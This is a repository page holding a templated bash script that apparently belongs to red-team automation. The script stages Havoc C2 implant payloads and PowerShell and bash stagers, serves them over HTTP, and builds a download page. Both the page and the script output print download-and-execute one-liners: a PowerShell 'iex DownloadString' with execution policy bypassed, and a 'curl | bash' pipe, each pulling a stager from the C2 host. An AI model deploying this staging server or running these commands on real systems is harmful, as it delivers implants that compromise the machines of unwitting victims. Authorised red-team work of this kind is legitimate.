Operator
98103466d8
Sanitized version of red team infrastructure automation platform. Operational content (implant pipelines, lures, credential capture) replaced with documented stubs. Architecture and infrastructure automation code intact.
135 lines
5.1 KiB
Django/Jinja
135 lines
5.1 KiB
Django/Jinja
#!/bin/bash
|
|
# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
|
|
|
|
# Configuration
|
|
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
|
|
C2_HOST="{{ ansible_host }}"
|
|
# Use templated variable with fallback - allow override from config
|
|
LISTEN_PORT="{{ havoc_payload_port | default(8443) }}"
|
|
|
|
# Check if manifest file exists (created by generate_havoc_payloads.sh)
|
|
if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
|
|
echo "[+] Found payload manifest file - using Havoc payloads generated previously"
|
|
# Extract payload paths from manifest
|
|
WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
|
|
WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
|
|
LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
|
|
|
|
# Print payload info
|
|
echo "[+] Using these Havoc payloads:"
|
|
echo " - Windows EXE: $WIN_EXE"
|
|
echo " - Windows DLL: $WIN_DLL"
|
|
echo " - Linux Binary: $LINUX_BIN"
|
|
else
|
|
echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
|
|
echo "[!] Will search for payloads in $PAYLOADS_DIR..."
|
|
|
|
# Try to find payloads directly
|
|
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
|
|
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
|
|
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
|
|
|
|
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
|
|
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
|
|
exit 1
|
|
fi
|
|
|
|
# Extract just the filenames
|
|
WIN_EXE=$(basename "$WIN_EXE")
|
|
WIN_DLL=$(basename "$WIN_DLL")
|
|
LINUX_BIN=$(basename "$LINUX_BIN")
|
|
fi
|
|
|
|
# Create temporary directory for web server
|
|
TEMP_DIR=$(mktemp -d)
|
|
mkdir -p $TEMP_DIR/content/windows
|
|
mkdir -p $TEMP_DIR/content/linux
|
|
mkdir -p $TEMP_DIR/scripts
|
|
|
|
# Copy payloads to web directory
|
|
if [ -n "$WIN_EXE" ]; then
|
|
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
|
|
echo "[+] Serving Windows EXE: $WIN_EXE"
|
|
fi
|
|
|
|
if [ -n "$WIN_DLL" ]; then
|
|
cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
|
|
echo "[+] Serving Windows DLL: $WIN_DLL"
|
|
fi
|
|
|
|
if [ -n "$LINUX_BIN" ]; then
|
|
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
|
|
echo "[+] Serving Linux Binary: $LINUX_BIN"
|
|
fi
|
|
|
|
# Copy stagers if they exist
|
|
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
|
|
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
|
|
echo "[+] Serving Windows PowerShell stager"
|
|
fi
|
|
|
|
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
|
|
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
|
|
echo "[+] Serving Linux bash stager"
|
|
fi
|
|
|
|
# Create helpful index page
|
|
cat > $TEMP_DIR/index.html << EOL
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<title>Havoc C2 Payload Downloads</title>
|
|
<style>
|
|
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
|
|
h1 { color: #333; }
|
|
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
|
|
.warning { color: #a00; font-weight: bold; }
|
|
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<h1>Havoc C2 Payload Downloads</h1>
|
|
<div class="section">
|
|
<h2>Available Payloads</h2>
|
|
<ul>
|
|
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
|
|
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
|
|
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
|
|
</ul>
|
|
</div>
|
|
<div class="section">
|
|
<h2>Auto-Download Scripts</h2>
|
|
<ul>
|
|
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
|
|
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
|
|
</ul>
|
|
</div>
|
|
<div class="section">
|
|
<h2>Quick Commands</h2>
|
|
<p>Windows PowerShell:</p>
|
|
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
|
|
<p>Linux Bash:</p>
|
|
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
|
|
</div>
|
|
</body>
|
|
</html>
|
|
EOL
|
|
|
|
# Start Python HTTP server in background
|
|
cd $TEMP_DIR
|
|
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
|
|
SERVER_PID=$!
|
|
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
|
|
|
|
# Print useful information for the operator
|
|
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
|
|
echo "[+] Available payloads:"
|
|
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
|
|
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
|
|
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
|
|
echo ""
|
|
echo "[+] Quick PowerShell download command:"
|
|
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
|
|
echo ""
|
|
echo "[+] Quick Linux download command:"
|
|
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash" |